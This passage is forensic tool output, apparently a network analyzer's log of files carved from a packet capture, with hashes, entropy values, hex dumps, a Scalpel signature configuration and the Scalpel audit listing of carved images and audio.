85\n2026-06-28T19:42:55.084320,10.152.152.11:63946->184.30.157.69:443,10.152.152.11,63946,184.30.157.69,443,HTTP,carved_10.152.152.11:63946-184.30.157.69:443_bwd_1.gzip,gzip,/tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63946-184.30.157.69:443_bwd_1.gzip,1595,badf5113b89f8898bd533a52232f1121,9a2a0cf5d9aad997ddecb6fcb59bd09a42b3e4f50a491ed2e24bfd88200e3397,7.88,\"$cf%8, _qxz, zniT, LJb4XyT, OGw:Bt, L/P,, PM0o, UIju, TDF<\",1f 8b c1 11 ac c6 62 54 21 1a 9c 6f 1d 88 3f 98 a4 03 c0 0e 1b 96 da a3 e6 be 09 6b 5b 29 f7 fd 03 06 b7 81 05 da 24 63 66 25 38 0e 27 7d 6c c7 50 fc c7 68 e8 60 78 0c 96 e5 ab e4 ed 36 4d cb 15 12 c6 86 de f2 dd d0 79 3a 2a 25 8e 60 0c 38 04 36 43 1c ed e9 c9 6d 70 1a c3 65 21 04 c1 82 d9 0a 9c e0 8b 02 eb d0 1d 7b ea d0 bb dd 71 06 9a 8f db 96 f6 03 39 67 94 2c 3d 03 76 b0 7a 42 68 bc 2b 6d 05 74 a2 b2 be 5f 71 78 7a 01 fe 4e 4b d7 6e 07 6c 2d cc cd 78 63 c9 f3 dc 21 00 76 42 ad b4 81 97 8b c0 bb d2 72 12 d7 df be 55 e0 68 38 23 0a 05 ac b4 11 d3 1f 0d f6 8a bd c4 c6 b9 ad 94 5f 2b e3 96 9e 08 12 cf c5 ff 4b 5b 56 87 c7 22 27 2a e2 d3 45 b8 52 cf 2f 11 1e ed e7 c4 de bb 15 6d c3 ba 4e 04 63 f8 65 c3 d1 a8 c3 6d 40 c0 e3 da 55 a3 5d 6b ae 50 c7 cd ce 3c f9 66 6c 2f 8c 10 b6 2a f6 a1 80 c0 68 53 43 c9 b0 48 d0 dd a2 27 89 13 ac b8 3b 4c b8 d9 62 83 c2 f2 b1 ea 30 aa da 67 f2 03 61 cb 26 4a 8b 31 e7 7a 6e 69 54 f8 1a b8 e8 14 b8 2d 3a 57 fe ff d9 c0 c9 e6 d3 81 82 e6 08 13 d9 77 c8 6b ac e1 a7 6c 00 d4 28 6d c8 56 d5 99 05 25 c2 53 8d 23 9c 38 6e 5c a0 fb 9a 47 00 e4 85 84 9f 63 be 31 05 fe 69 23 fd 44 84 6f 18 4c 4a 62 34 58 79 54 21 3c 62 0b 57 54 01 21 8b 87 98 7c 1a c6 34 8e 45 b7 5a 38 a4 fc 86 9a ba 49 2c eb c3 27 6b 0a 07 dd c8 93 34 bd 09 dc c2 06 6c 9c e1 ae 53 d8 35 4b 76 b7 9d 88 ed 6c 9d 9c f5 e3 13 33 e5 14 87 29 6e d6 b8 f3 a2 70 49 96 0b df c9 3f d0 b2 94 9d 9f 82 fe 69 5b 8f ba 79 1b 92 97 41 40 07 38 77 0d 33 af 4f 20 ee 6a 92 1a c4 4e 22 a5 9e cc 4f 46 b8 2d 98 bb 8f b8 21 a7 1d d5 fb 1e db c9 21 61 b9 4d cd 2d 29 ea 98 8b 5c 17 bc 87 7b bf 1c 85 75 05 33 30 6a 9e 2e bb c7 4a 22 ce d3 c1 f5 30 7e 49 e2 7c 8d 4f c9 af 0d 2e fd 86 5a 15 05 0e 96 ff 98 98 ca 21 69 f0 90 1a a1 3a a0 af ae 4f 47 77 3a 42 74 d2 f0 bc cb 66 f5 36 67 74 d8 41 29 cd 5b 4b 67 ea 0d 6e 9c 3b 9a e2 60 3c 28 3f e2 9c 8d 99 11 dc e8 08 b4 52 01 f5 a2 19 03 63 5f c5 96 bf 0c 89 ef 94 64 57 5a cf c4 42 77 08 4e 64 a0 b2 ca 0b 33 2f 24 f6 35 59 7c d0 6e f7 21 ca 38 c8 d1 4f ca 8c a9 0d 82 bb 60 ef 17 51 79 e1 f0 17 64 e3 02 ce 4b 2c bc 5a f3 37 d7 07 25 8f 15 0f 6a f0 3f 01 ba 56 6b da 95 e0 da 78 6a 24 7c 36 41 40 bf d8 8f 28 a8 9a 22 62 38 b6 fb d9 5d a6 d8 9c 1c 96 22 35 39 71 1e 2c 6b 2a 97 a5 f3 ca 10 ff b8 e6 27 f8 d0 66 50 19 f9 4c 2f 50 2c 18 5c 88 fc 6e 88 f0 b5 31 86 15 74 7c a0 0e 1b 2b 1f 3d ed d5 67 43 06 7b d3 b7 20 18 2e 3b 53 e1 e3 20 d3 34 1b f9 61 f2 1f 18 0b 22 85 d9 1f b0 ae 05 4e 89 e5 e5 52 0f ef 22 cc 01 55 8a f6 95 cb 39 2e 31 e1 95 f6 9c 4b 79 b5 25 7e c9 34 17 7e 3b 0e 42 ab 44 9f 23 a1 90 83 1c 70 73 6c c5 b1 d3 ee 20 9d 73 fd 06 28 b5 c5 e0 76 9a 9e 39 8d c5 59 cd 4e 9e d8 bd a6 eb 63 c7 81 25 95 3c 5d a8 cd 0a b7 97 d7 71 cb 35 0c 82 5b ad ee 79 84 74 bf 12 de 26 9f ed 04 12 3f 8e d0 df 8e de 0b 37 21 a0 5d 51 04 65 ed b0 93 d5 d6 54 ee d2 20 c1 f1 30 68 ba 50 4d 30 6f 89 a4 38 11 37 de 6d 13 77 73 44 2a 2f 03 1b b5 c7 3f 17 03 03 02 74 49 0b 3b 35 e8 f5 09 20 e6 b6 43 cb 16 c2 47 60 f1 3b fc 94 1b 02 27 88 81 b2 25 3a 8f 0e 5e 6b 0b 57 1f 74 f9 eb d0 02 94 9b c8 c5 05 cd 0d 4c 0a 9e b5 c1 ec 5c 2d a2 03 5d 6d f2 81 55 49 6a 75 92 f3 a3 5c f0 b2 36 a7 99 34 3b 91 26 af f6 66 e9 26 d5 ae 76 f0 a5 37 c4 13 46 5f 93 01 e2 c6 bf e7 7e 5a 61 c4 98 19 29 02 78 a8 3e d9 2c 4e 7c 1c f7 73 a4 ed 16 38 6e 01 ff 9b 2c 0f 20 49 c5 b1 2f 9a 97 dc 62 b1 a0 7e a2 fb eb 90 62 f6 f5 73 d8 b4 84 97 fd 7c 39 68 f2 20 15 51 fa 32 1e be 3c 7b 45 f3 30 74 2f b1 66 91 87 cd 82 e5 e9 a1 84 f9 99 6d 03 ff 7c 73 63 0a 4b eb ba 14 0f 95 25 02 36 18 b9 97 c5 b5 0c 9c ca 6c cc ec 61 c5 56 d9 13 71 84 4c 35 7c 8d 10 2c 61 6b 3d 0b 0a 42 65 c8 fd 08 4f 87 70 bf 0e 0b 02 24 8c 49 e0 14 bc 63 d6 14 e0 08 d4 32 5d 0b 38 f0 05 3a 4d 67 12 e3 78 15 e5 06 6c 4d 9b 70 fa 73 74 a1 7c 6b f0 6e d2 e0 1c d0 d5 53 ef f6 1a 43 90 26 07 0b 91 a6 91 8e 04 43 d4 1d b7 48 87 6b 77 7d e1 75 77 fd 92 8d 6e 95 fc 87 b6 77 42 e1 7b e5 aa a7 b0 aa 5f 45 de 05 41 a9 08 28 af 17 ec dd a3 71 84 44 08 1a 67 8b cd 43 59 96 55 97 4b ca e5 02 f7 ba bf e0 3a b0 54 44 46 3c dd ba f8 53 f9 67 1b 8b e1 8f f7 cc d2 4f 41 ea 41 0a ae 43 79 c5 59 c4 9d 78 13 15 0d 89 6f 86 76 80 16 96 c5 e5 bb f7 46 cc 7e d5 41 ff 98 9c 42 36 5a 19 ef b4 08 14 0c 42 55 27 c0 00 62 b5 97 57 62 3c f3 1a 0a 2c bd 2f 01 a4 6b d3 4f 4e d6 34 56 5e 35 68 f1 52 44 a0 88 98 e1 fd 7d 4a d4 c2 51 ba 2d 61 16 87 8d 0e da ba 6e 8b 64 29 bb f7 61 05 07 d7 cb 7b 09 3b 16 b5 c1 5d 1a eb 29 10 00 ef 2c 6d 74 3b 41 ee b1 af f8 f7 59 5d 96 b1 06 7d 8d 58 34 5b f4 c5 f9 31 d2 66 db 5a 4d 91 5d 49 34 f4 48 21 d0 d9 d3 17 59 fe 5e 9b 55 3c c1 5d 08 4b e4 56 ee a2 07 34 f1 dc 11 98 73 e6 17 f5 8a ba a9 2c 8b f7 c2 2d ec 99 ef 35 ab 4c e5 04 c2 85 11 2b 59 17 8f 06 f7 37 51 6c ec af 36 c7 8e 42 f0 98 79 c9 d2 91 fe 15 dd 3d 1a d0 a5 df ec 32 77 86 d6 3f c6 de fa 6f f3 9c 39 c5 66 18 a3 90\n2026-06-28T19:42:55.090400,10.152.152.11:63964->40.99.204.34:443,10.152.152.11,63964,40.99.204.34,443,HTTP,carved_10.152.152.11:63964-40.99.204.34:443_bwd_3.gzip,gzip,/tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63964-40.99.204.34:443_bwd_3.gzip,2157,bb6ed0304e15e4ffea55266772e92c73,f3ecc8cb509e27cb6dad9953360cbf294d6f055c714c15f2225cb61b5fcbe0e0,7.89,\"NP$mKN, 0K4[a, G>W[Xq, _].fZc6), BQ(g, xP.e5, e0A,P, t8Z5, _3C., 8P6/p, >NF0[tqc, bPV5n\",1f 8b aa f7 4a b5 85 92 14 28 16 bb 57 c4 aa 8c 3c c2 2b ba 0b e9 30 64 b4 d7 2d fa 42 d6 2c 99 80 4a 74 42 98 ca c7 88 0e 03 51 5b ec cc cd 2d b9 6d 1a e3 35 33 72 e8 6b a4 ae aa 00 91 c9 1f 1f c4 de 15 9a cc 12 b8 90 b9 ae fe a2 a7 4c 07 e6 e2 68 c5 52 ab 4b 5a 36 83 11 45 14 81 97 07 97 91 5b dd 6e 2b af 4c 2a de 4c a5 b1 a0 dc 21 9b 5b cf fd 03 1b 44 e5 53 f0 95 28 00 a0 11 b8 c5 c5 fc 5c 39 59 92 2b 43 1d 74 ac 81 a0 4a 91 42 ac 37 93 bf 5c 15 d4 d9 c4 3f 25 b5 0f 45 fe 39 47 5e e6 13 1c ee 3a db 3f 57 02 53 b8 4e 50 24 6d 4b 4e 99 0c 31 d5 db 3b 51 57 2f 3f 31 e1 bc 0a 01 01 a3 91 cd 06 b2 dd 54 f2 73 26 36 0c 20 b5 00 30 58 19 9c 25 85 e0 bc c9 01 30 7a 12 80 d0 2e e1 b7 a8 da f8 4e d5 e5 50 63 71 00 a5 3d fb ec 21 11 43 f9 ae dd 25 7e 32 a9 6d fd 69 84 1b 85 de 9e 32 93 6b 8e c9 35 7d 25 9e 87 80 c5 d0 91 a4 ee 70 94 b1 36 29 ad 8b 4c 48 d2 93 fa 9a 86 df bd b6 86 6f 85 da 42 39 0a 3c af 2b a9 2d 86 f2 a4 ec 11 d8 e0 a6 2c 6e 20 8e 09 a6 bd a3 d1 fa 75 c3 38 d5 f3 9d 78 13 1d 30 4b 34 5b 61 9d 47 82 44 4d 84 47 3e 57 5b 58 71 f7 4b f5 88 e0 df 78 cd fd e9 23 10 b6 36 6c 40 ef 50 96 8f 53 59 51 0f e8 fd 99 58 d1 60 5f 5d 2e 66 5a 63 36 29 91 42 51 28 67 0f 97 33 bb 92 e3 a2 d0 1b 22 2d ac b5 c1 30 4a 24 a7 ab 04 91 ac 70 fc b0 d5 dc 4c f4 b5 51 39 e9 1d cc 46 b8 fe 7b 8c db 0f d8 dd c6 2e 6c 18 cd 2e f6 b0 5e de d9 33 41 02 7f ab 9b e7 97 6e 15 e3 1c 51 1c 1a f1 86 e4 f5 25 b3 ee fd 0e 18 6b 96 8d 90 1c a4 42 31 14 8a c7 54 90 4f 0b d2 57 fe 6d 41 2c cd ce 9f 86 88 d2 73 f3 c2 e4 45 71 30 00 48 1d 46 a2 98 cd c8 16 4d 0f 53 44 92 cf 2c cc 73 7b c1 87 8a f3 a7 50 b0 52 c6 38 8a 38 1b 98 f2 09 04 3d 24 69 2b 74 8b 4e 9c 65 66 ec 15 fe de 99 bd ae ea 8c 1a 72 aa 7f f5 8d 55 78 81 c4 38 75 ba bc b2 00 16 c5 17 03 03 00 cf 00 00 00 00 00 00 00 04 bd 69 09 ed 5c 90 bf 18 67 10 bd 21 b8 cb 90 e0 09 0e ab 06 6c d3 2f 31 8b 5d 00 8e 45 b1 f0 c9 b1 39 5a 57 ca df 4c 4a 0c 54 44 13 49 1a e6 ea ad 93 64 ee 01 18 d7 87 31 6d 8a f2 c1 96 45 ea 1a 8f da 32 aa 31 93 20 7e fe 34 b7 d0 b6 9c ee 45 67 f2 c7 37 2a 49 73 82 a4 92 d0 9e 82 12 b5 90 11 d4 43 ad 86 67 a5 93 ba ce 2d d3 df 73 fa 93 84 4b 92 7a c6 52 ac c5 07 58 d8 f4 92 37 98 1a 74 96 46 45 e6 08 c9 99 c0 b0 46 3a 80 13 b1 c8 46 dc 81 6f 9a 10 45 4b 15 f9 78 d7 18 41 02 46 6c 2a c5 53 e1 7d 05 ed 71 10 1a b9 63 0d 59 ea cf 6d e0 76 62 2a 43 2b 03 3d 5e fb 91 9c 82 c2 09 2b cd c1 af 56 17 03 03 00 21 00 00 00 00 00 00 00 05 e4 6f 13 e3 0d 48 a0 23 36 be 04 92 b5 f2 2d b3 2e 27 82 6e fc e1 30 8d 67 17 03 03 02 b6 00 00 00 00 00 00 00 06 f8 26 d7 dd f1 ba 9b c1 20 8b 7b 31 c8 9d 9d 77 f1 94 54 5d fb 3f d0 b2 a5 85 c4 54 fa e4 95 f5 27 53 52 d7 ca f6 3b a2 ba ec 95 01 f5 96 9e 31 a6 16 a6 50 72 ab 03 84 95 f2 41 72 2c b9 b7 52 42 d3 c9 a3 e3 9a b1 90 65 5f e3 4d 61 81 4a 97 d2 c8 27 b2 35 bf 7d e4 2c 0b 11 1e bc 5b 5f f7 7a 5f f2 71 23 5f 62 be ec d1 38 74 7b e7 ba 68 83 65 c9 09 f6 d8 96 a3 e2 e2 b7 98 27 07 2e 2f 3e ec b7 89 a1 15 95 12 7c 54 42 e3 1d 9e 7e 70 35 8f 98 44 24 f8 57 d6 39 3b fc 2a 69 47 b9 28 40 7e 53 d6 86 7e ba 32 6b c0 88 b7 bb ab 91 a8 5a 98 98 e9 cf ab a3 78 50 2e 65 35 1d 4b 6e 99 57 b3 4e 1a f6 ff 5e ff 1b d3 5d 1c 57 b1 d1 a6 a6 f2 8f 31 98 cc ec 12 4a a1 67 a4 39 41 ee 5f e0 0e 0f 8d 5b 62 9b e8 05 75 c8 a6 81 76 fa 43 f5 28 64 c0 21 c8 6d 2b f0 a7 2f 92 23 59 61 af 37 64 b3 a4 e4 9b 98 a7 32 70 f3 1e 24 31 21 f6 b8 4c 1a 77 f7 08 c6 36 79 7f 59 27 40 77 2a 89 92 bb b6 b6 a1 88 17 9a ad 09 85 93 dd 19 eb 9d 65 30 41 2c 50 d3 cc a9 1b 14 a6 5f 71 d3 27 68 d4 0a f0 4f 41 0b bc 16 c3 c1 95 cc 29 d5 3f 29 be 43 dc cc cb 96 f0 c9 65 af 1b c7 a8 c9 01 ca 73 84 9c 8a 08 c8 a2 75 0f b7 a1 aa 66 a8 4f 8e ec a7 03 55 f2 25 09 c7 89 e1 17 a3 14 79 60 55 d6 d3 28 89 85 2f df 7d 9b db 84 62 11 8d 67 1f 33 d1 13 02 bf d6 ea 48 74 67 cd 99 d5 61 53 5b 0b 0b d0 f9 40 f8 15 95 41 01 dd a9 7a bc e1 e1 ab 58 d5 77 f3 21 6b 94 56 26 82 64 06 02 b7 89 8d 9b 01 74 38 5a 35 cb 28 5e 8b 67 12 2b 7a dc 1b 7a 50 dc d4 2b 54 dc 87 6f 62 81 ac 24 3c 03 75 6c 00 b0 bc e6 a2 d6 89 72 27 c4 70 ac f6 a1 3a 90 65 53 e3 e3 65 f2 1e 39 22 91 f6 59 b0 8e 6b 24 f5 fb 5f 33 43 2e d2 4f 64 90 6e 63 92 43 22 86 b5 6b 46 ae 38 75 c5 8a c1 20 ca b1 dc 3a 7d fd 82 71 2b 42 09 a5 5a be 1f c7 cb b5 ea 73 17 63 ed cb c5 8e 46 f3 df 16 c3 6a 01 b7 df 71 42 22 bd 43 a9 e5 50 5a 56 19 ea 1c 13 46 96 98 d5 e2 42 14 26 bc 41 7d 57 3b b6 50 21 ae ec 9f 2e fd d4 b1 75 c5 a4 03 e4 5f 62 63 09 37 a8 a2 01 3f b1 ec 7d d4 b3 c6 ae 90 9a 5f 1e 31 eb 74 57 f7 b2 aa fb f1 d7 11 24 d2 64 39 c2 88 e1 46 e3 71 96 fe 50 fb 3c 25 a4 0c f4 0f ba bb a8 ed a8 bb 8a e1 8c 10 3f ee 5e a8 0a 04 10 4d 17 03 03 02 6f 00 00 00 00 00 00 00 07 3c 13 8e a9 16 96 f5 d3 62 70 bf c7 39 5e ec 17 be d8 24 de 97 cb b2 93 38 50 36 2f 70 a2 0f 2f 73 06 9a fb aa b2 d8 86 56 cb 2f 03 e6 38 89 98 d3 5d b3 1c c2 a6 62 ee 03 2c 9e d8 f9 b5 b3 58 0a d8 b8 cf a5 67 ac fb 14 ce 6d 6c 2c 2a ae b3 29 ee 9e c8 ec 8c f1 1e 84 07 52 70 82 94 9e 4f fe 4c 4c d1 2a 57 2a db 7f df 35 38 08 b0 93 c8 f5 e4 a6 d0 41 71 62 10 23 ae d3 ea 7f cb 58 9b 93 3c 49 99 39 3e c6 f8 87 95 8e 8c 56 73 6b 2b bb b0 93 80 31 45 99 95 00 e4 92 eb 15 31 5c c7 23 ad 8a ed e8 0f 28 ae 23 0c 76 03 30 1f 43 c5 36 57 10 7c a3 2f 62 f3 df fe d7 04 62 50 f5 a8 9b d7 bf 46 dc ab 5e dd 13 be 3c bc ef 05 ae e6 24 3f b1 46 91 95 2a 00 5a 92 66 b7 37 d9 34 e9 1e 4f eb 29 ad 4b b0 87 89 0a 24 93 40 69 d0 60 e0 ed 51 dd 14 21 3e f9 ff 1c 38 99 7a 18 fd 83 ee 60 22 8d b1 db f9 49 48 83 a4 dd 59 a2 1f 56 03 c9 85 eb 27 6c ff 77 01 7b d1 c7 90 41 28 fc 25 15 a7 d2 70 0e c5 0b da 9a b6 35 aa 80 a9 b0 03 42 38 60 2d b9 f1 92 6b 82 a5 7c 71 ab ab e0 8d 2f f4 f0 d6 44 38 4f c4 c9 10 a6 39 9a 6d 95 7b b6 b2 38 c7 2b a4 3c 9c c6 de 72 d9 1c 66 f4 e8 e2 cb 94 e7 df 48 23 c5 0a aa 35 1b 08 bc 3b 27 78 57 a4 8a 07 fd e3 b2 50 de d2 97 be ba 66 11 0c cb 3c 0a 06 c4 13 a2 31 4e e5 7c aa b6 74 e1 83 93 11 b0 24 91 ca 3e 4e 46 30 5b 74 71 63 e5 17 3f 75 67 6a 14 73 ec 2e c3 cd 1e 93 ab 62 50 56 35 6e b2 c6 c7 d1 ed 4f e3 87 6d d8 2e 22 4a 82 50 8a d2 1d e4 c8 91 5e a8 9f 5b 0c be 15 fe 43 95 62 b0 b0 9a a9 d9 48 dd a5 22 a8 2c 85 2f cb f2 59 18 9c c1 96 f9 a8 54 cf 8e 79 0e 2c d0 7b 68 82 f8 02 d4 3b 3f bf 12 13 04 4f 6a 1f bb 7a 7a ba d0 f1 ee 4a 19 4c 5a ca 84 5c 67 e0 2e 9a 44 9d b7 8b f0 10 bb e5 9f 08 d2 84 13 98 fc 68 5d d9 f9 c1 f7 9d b1 e0 ec e7 9f 33 33 ef fc 94 8a 5a 03 e1 db ea d1 03 eb f3 ab 6a 3b 84 3a 9b 34 71 8b f0 7c dd c4 ea f7 ed 61 3e 9a a7 34 a2 81 64 67 df fa 52 1f de c5 8c b9 37 78 82 fa a3 60 d4 d0 9a 06\n2026-06-28T19:42:55.215675,Tool:tmp6925_lng/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmp6925_lng/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-06-28T19:42:55.219675,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp6925_lng/carved/scalpel/audit.txt,1959,ff2b4a3f6f467940ecdbb2c69ad5d96e,afef8b1c19049de1548cd31f7616cdf312fbaa9930a28272219bf3a91c5cd0d5,4.53,\"Scalpel version 1.60 audit file, Started at Sun Jun 28 19:42:55 2026, Command line:, scalpel -c /tmp/tmp6925_lng/carved/scalpel.conf /tmp/filtered_5k3vbz5k.pcap -o /tmp/tmp6925_lng/carved/scalpel , Output directory: /tmp/tmp6925_lng/carved/scalpel, Configuration file: /tmp/tmp6925_lng/carved/scalpel.conf, Opening target , /tmp/filtered_5k3vbz5k.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000020.mp3        35204, YES               0, filtered_5k3vbz5k.pcap, 00000019.gif        50613, YES               0, filtered_5k3vbz5k.pcap, 00000018.gif        36595, YES               0, filtered_5k3vbz5k.pcap, 00000017.gif        35589, YES               0, filtered_5k3vbz5k.pcap, 00000016.gif        34787, YES               0, filtered_5k3vbz5k.pcap, 00000015.gif        34571, YES               0, filtered_5k3vbz5k.pcap, 00000014.gif        33743, YES               0, filtered_5k3vbz5k.pcap, 00000013.gif        27297, YES               0, filtered_5k3vbz5k.pcap, 00000012.gif        24725, YES               0, filtered_5k3vbz5k.pcap, 00000011.gif        10381, YES               0, filtered_5k3vbz5k.pcap, 00000010.gif        50613, YES               0, filtered_5k3vbz5k.pcap, 00000009.gif        36595, YES               0, filtered_5k3vbz5k.pcap, 00000008.gif        35589, YES               0, filtered_5k3vbz5k.pcap, 00000007.gif        34787, YES               0, filtered_5k3vbz5k.pcap, 00000006.gif        34571, YES               0, filtered_5k3vbz5k.pcap, 00000005.gif        33743, YES               0, filtered_5k3vbz5k.pcap, 00000004.gif        27297, YES               0, filtered_5k3vbz5k.pcap, 00000003.gif        24725, YES               0, filtered_5k3vbz5k.pcap, 00000002.gif        10381, YES               0, filtered_5k3vbz5k.pcap, 00000001.jpg        13959, YES               0, filtered_5k3vbz5k.pcap, 00000000.jpg        13959, YES               0, filtered_5k3vbz5k.pcap, Completed at Sun Jun 28 19:42:55 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 32 38 20 31 39 3a 34 32 3a 35 35 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 36 39 32 35 5f 6c 6e 67 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 36 39 32 35 5f 6c 6e 67 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 36 39 32 35 5f 6c 6e 67 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 36 39 32 35 5f 6c 6e 67 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 32 30 2e 6d 70 33 20 20 20 20 20 20 20 20 33 35 32 30 34 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 39 2e 67 69 66 20 20 20 20 20 20 20 20 35 30 36 31 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 38 2e 67 69 66 20 20 20 20 20 20 20 20 33 36 35 39 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 37 2e 67 69 66 20 20 20 20 20 20 20 20 33 35 35 38 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 36 2e 67 69 66 20 20 20 20 20 20 20 20 33 34 37 38 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 35 2e 67 69 66 20 20 20 20 20 20 20 20 33 34 35 37 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 34 2e 67 69 66 20 20 20 20 20 20 20 20 33 33 37 34 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 